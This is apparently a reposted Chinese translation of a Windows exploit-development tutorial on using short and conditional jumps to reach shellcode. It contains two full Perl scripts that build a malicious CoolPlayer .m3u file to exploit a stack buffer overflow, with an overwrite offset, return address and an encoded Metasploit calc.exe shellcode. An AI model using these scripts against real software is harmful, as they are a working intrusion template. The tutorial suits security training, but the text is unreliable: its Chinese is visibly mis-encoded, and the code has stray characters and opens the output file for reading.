如果你想讀更多關(guān)于跳躍和計(jì)算負(fù)向/反向跳轉(zhuǎn)后面的2的補(bǔ)充數(shù)學(xué),看看這個(gè)頁(yè)面。讓我們嘗試幾個(gè)簡(jiǎn)短的跳轉(zhuǎn)。為此,我們將更新我們的原始代碼,用正向短跳轉(zhuǎn)代替add ebx跳轉(zhuǎn)代碼。在下面的代碼中請(qǐng)注意,我將緩沖區(qū)的$垃圾部分更改為所有NOP,并將跳轉(zhuǎn)代碼放在$ junk之后。由于EBX指向我們shellcode的開頭,所以當(dāng)我們執(zhí)行CALL EBX指令($ eip)時(shí),它會(huì)將我們引入NOP中,這會(huì)跳到短跳轉(zhuǎn),跳過EIP并進(jìn)入我們的NOP / shellcode。
如下圖所示:
以下是更新的代碼:
#!/usr/bin/perlmy?$buffsize?= 10000;?# set consistent buffer size
my?$jmp?=?"\xeb\x4";?# 4 bytes short jump to hop over EIP and into nops/shellcode
my?$junk?=?"\x90"?x (260 - length($jmp));?# nops to slide into $jmp; offset to eip overwrite at 260
my?$eip?= pack('V',0x7c810395);?# call ebx [kernel32.dll] which points to start of buffer and our jump code
# no usable application module found
my?$nops?=?"\x90"?x 50;
# Calc.exe payload [size 227]
# msfpayload windows/exec CMD=calc.exe R |
# msfencode -e x86/shikata_ga_nai -t perl -c 1 -b '\x00\x0a\x0d\xff'
my?$shell?=?"\xdb\xcf\xb8\x27\x17\x16\x1f\xd9\x74\x24\xf4\x5f\x2b\xc9"?.
"\xb1\x33\x31\x47\x17\x83\xef\xfc\x03\x60\x04\xf4\xea\x92"?.
"\xc2\x71\x14\x6a\x13\xe2\x9c\x8f\x22\x30\xfa\xc4\x17\x84"?.
"\x88\x88\x9b\x6f\xdc\x38\x2f\x1d\xc9\x4f\x98\xa8\x2f\x7e"?.
"\x19\x1d\xf0\x2c\xd9\x3f\x8c\x2e\x0e\xe0\xad\xe1\x43\xe1"?.
"\xea\x1f\xab\xb3\xa3\x54\x1e\x24\xc7\x28\xa3\x45\x07\x27"?.
"\x9b\x3d\x22\xf7\x68\xf4\x2d\x27\xc0\x83\x66\xdf\x6a\xcb"?.
"\x56\xde\xbf\x0f\xaa\xa9\xb4\xe4\x58\x28\x1d\x35\xa0\x1b"?.
"\x61\x9a\x9f\x94\x6c\xe2\xd8\x12\x8f\x91\x12\x61\x32\xa2"?.
"\xe0\x18\xe8\x27\xf5\xba\x7b\x9f\xdd\x3b\xaf\x46\x95\x37"?.
"\x04\x0c\xf1\x5b\x9b\xc1\x89\x67\x10\xe4\x5d\xee\x62\xc3"?.
"\x79\xab\x31\x6a\xdb\x11\x97\x93\x3b\xfd\x48\x36\x37\xef"?.
"\x9d\x40\x1a\x65\x63\xc0\x20\xc0\x63\xda\x2a\x62\x0c\xeb"?.
"\xa1\xed\x4b\xf4\x63\x4a\xa3\xbe\x2e\xfa\x2c\x67\xbb\xbf"?.
"\x30\x98\x11\x83\x4c\x1b\x90\x7b\xab\x03\xd1\x7e\xf7\x83"?.
"\x09\xf2\x68\x66\x2e\xa1\x89\xa3\x4d\x24\x1a\x2f\xbc\xc3"?.
"\x9a\xca\xc0";
my?$sploit?=?$junk.$jmp.$eip.$nops.$shell;?# build sploit portion of buffer
my?$fill?=?"\x43"?x ($buffsize?- (length($sploit)));?# fill remainder of buffer for size consistency
my?$buffer?=?$sploit.$fill;?# build final buffer
# write the exploit buffer to file
my?$file?=?"coolplayer.m3u";
open(FILE,?"<$file");
print?FILE?$buffer;
close(FILE);
print?"Exploit file ["?.?$file?.?"] created\n";
print?"Buffer size: "?. length($buffer) .?"\n";
如果您的緩沖區(qū)被應(yīng)用程序分段,則可以使用多個(gè)短跳轉(zhuǎn)跳轉(zhuǎn)到您的shellcode。在這種情況下,我們的緩沖區(qū)被碎片化,我們需要使用多個(gè)短跳轉(zhuǎn)跳過垃圾字符(由\ xcc表示)。這是它在堆棧上的樣子:
你可以看到我插入了兩個(gè)短跳轉(zhuǎn)。就像在最后一個(gè)例子中一樣,當(dāng)EIP重定向流回到緩沖區(qū)的開始時(shí),NOP將滑向第一個(gè)短跳轉(zhuǎn)。這一次,為了跳過EIP和隨后的垃圾字符,短跳轉(zhuǎn)是50個(gè)字節(jié)。這個(gè)跳轉(zhuǎn)應(yīng)該在下一個(gè)短跳轉(zhuǎn)處(在幾個(gè)NOP之前),然后在下一組垃圾字符和我們的NOP /?shellcode之間跳100個(gè)字節(jié)。代碼如下:
#!/usr/bin/perlmy?$buffsize?= 10000;?# set consistent buffer size
my?$jmp1?=?"\xeb\x32";?# 50 byte short jump to hop over EIP and garbage and into next short jump
my?$junk?=?"\x90"?x (260 - length($jmp1));?# nops to slide into $jmp; offset to eip overwrite at 260
my?$eip?= pack('V',0x7c810395);?# call ebx [kernel32.dll] which points to start of buffer and our jump code
my?$garbage1?=?"\xcc"?x 45;
my?$jmp2?=?"\x90\x90\x90\x90\x90\x90\xeb\x64";?# 100 byte short jump over garbage 2 and into NOPs/shellcode
my?$garbage2?=?"\xcc"?x 97;
my?$nops?=?"\x90"?x 50;
# Calc.exe payload [size 227]
# msfpayload windows/exec CMD=calc.exe R |
# msfencode -e x86/shikata_ga_nai -t perl -c 1 -b '\x00\x0a\x0d\xff'
my?$shell?=?"\xdb\xcf\xb8\x27\x17\x16\x1f\xd9\x74\x24\xf4\x5f\x2b\xc9"?.
"\xb1\x33\x31\x47\x17\x83\xef\xfc\x03\x60\x04\xf4\xea\x92"?.
"\xc2\x71\x14\x6a\x13\xe2\x9c\x8f\x22\x30\xfa\xc4\x17\x84"?.
"\x88\x88\x9b\x6f\xdc\x38\x2f\x1d\xc9\x4f\x98\xa8\x2f\x7e"?.
"\x19\x1d\xf0\x2c\xd9\x3f\x8c\x2e\x0e\xe0\xad\xe1\x43\xe1"?.
"\xea\x1f\xab\xb3\xa3\x54\x1e\x24\xc7\x28\xa3\x45\x07\x27"?.
"\x9b\x3d\x22\xf7\x68\xf4\x2d\x27\xc0\x83\x66\xdf\x6a\xcb"?.
"\x56\xde\xbf\x0f\xaa\xa9\xb4\xe4\x58\x28\x1d\x35\xa0\x1b"?.
"\x61\x9a\x9f\x94\x6c\xe2\xd8\x12\x8f\x91\x12\x61\x32\xa2"?.
"\xe0\x18\xe8\x27\xf5\xba\x7b\x9f\xdd\x3b\xaf\x46\x95\x37"?.
"\x04\x0c\xf1\x5b\x9b\xc1\x89\x67\x10\xe4\x5d\xee\x62\xc3"?.
"\x79\xab\x31\x6a\xdb\x11\x97\x93\x3b\xfd\x48\x36\x37\xef"?.
"\x9d\x40\x1a\x65\x63\xc0\x20\xc0\x63\xda\x2a\x62\x0c\xeb"?.
"\xa1\xed\x4b\xf4\x63\x4a\xa3\xbe\x2e\xfa\x2c\x67\xbb\xbf"?.
"\x30\x98\x11\x83\x4c\x1b\x90\x7b\xab\x03\xd1\x7e\xf7\x83"?.
"\x09\xf2\x68\x66\x2e\xa1\x89\xa3\x4d\x24\x1a\x2f\xbc\xc3"?.
"\x9a\xca\xc0";
my?$sploit?=?$junk.$jmp1.$eip.$garbage1.$jmp2.$garbage2.$nops.$shell;?# build sploit portion of buffer
my?$fill?=?"\x43"?x ($buffsize?- (length($sploit)));?# fill remainder of buffer for size consistency
my?$buffer?=?$sploit.$fill;?# build final buffer
# write the exploit buffer to file
my?$file?=?"coolplayer.m3u";
open(FILE,?"<$file");
print?FILE?$buffer;
close(FILE);
print?"Exploit file ["?.?$file?.?"] created\n";
print?"Buffer size: "?. length($buffer) .?"\n";
盡管這里沒有真正的實(shí)際目的,但我將通過用“ \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ xeb \ xea ”?替換$ jmp2來表現(xiàn)向后的短跳躍,以表示向后跳躍的有效長(zhǎng)度20(技術(shù)上來說22是通過跳過本身來丟失2個(gè)字節(jié))。這樣做應(yīng)該使我們的INT指令返回20個(gè)字節(jié)。
有用。對(duì)于這個(gè)特定的漏洞,再次沒有真正的實(shí)際目的,但是這些例子應(yīng)該說明在發(fā)現(xiàn)自己處于漏洞需求的情況下短跳轉(zhuǎn)的可能性。條件跳轉(zhuǎn)只是在某些條件滿足時(shí)采取的近/短跳轉(zhuǎn),取決于相應(yīng)標(biāo)志的狀態(tài)(請(qǐng)回顧第1部分的EFLAGS寄存器)。
例如,如果零標(biāo)志被設(shè)置為1,則采取“如果等于跳轉(zhuǎn)”(JE)或“如果跳轉(zhuǎn)為零”(JZ)則跳轉(zhuǎn)。相反,“跳轉(zhuǎn)如果不相等”(JNE)或“跳轉(zhuǎn)如果不是零“如果零標(biāo)志被設(shè)置為0,則采用(JNZ)。該語(yǔ)法類似于常規(guī)短跳轉(zhuǎn),只是使用不同的操作碼。JNE的操作碼是75,所以向前跳20個(gè)字節(jié)的指令是\ x75 \ x14。我不會(huì)給出另一個(gè)條件跳轉(zhuǎn)的演示,因?yàn)檫@個(gè)概念與之前的短跳轉(zhuǎn)例子完全相同。
請(qǐng)記住,因?yàn)槟赡苊媾R無法使用無條件標(biāo)準(zhǔn)短跳轉(zhuǎn)的情況,因此您必須轉(zhuǎn)向條件跳轉(zhuǎn)。盡管它涵蓋了我在這個(gè)漏洞利用開發(fā)系列中尚未涉及的主題,但如果您想要一個(gè)真實(shí)的例子說明為什么在構(gòu)建漏洞利用時(shí)您可能需要使用條件跳轉(zhuǎn),請(qǐng)查看此頁(yè)面。下面是可用的條件跳轉(zhuǎn)及其相應(yīng)的操作碼和狀態(tài)標(biāo)志的一個(gè)很好的參考:
http : //www.unixwiz.net/techtips/x86-jumps.html
結(jié)論
我希望Windows漏洞利用系列文章中的這一部分清楚地說明了使用各種跳轉(zhuǎn)技術(shù)訪問shellcode的一些方法,包括操縱寄存器和堆棧的內(nèi)容以及使用無條件跳轉(zhuǎn)或條件跳轉(zhuǎn)。請(qǐng)記住,這不是一個(gè)詳盡的可能性列表,您可能會(huì)發(fā)現(xiàn)在構(gòu)建漏洞利用時(shí)使用這些跳躍技術(shù)的各種組合。
文章來源:看雪社區(qū)
原文鏈接:
https://bbs.pediy.com/thread-225847.htm
你可能喜歡
Windows漏洞利用開發(fā) - 第1部分:基礎(chǔ)知識(shí)
Windows漏洞利用開發(fā) - 第2部分:棧溢出簡(jiǎn)介
Windows漏洞利用開發(fā) - 第3部分:偏移更改和重定位模塊
創(chuàng)作挑戰(zhàn)賽新人創(chuàng)作獎(jiǎng)勵(lì)來咯,堅(jiān)持創(chuàng)作打卡瓜分現(xiàn)金大獎(jiǎng)總結(jié)
以上是生活随笔為你收集整理的c++ 跳转到上级目录_Windows漏洞利用开发 第4部分:使用跳转定位Shellcode 模块的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 移动用户逼近10亿!中国移动2022年净
- 下一篇: java有趣的技术分享ppt_技术分享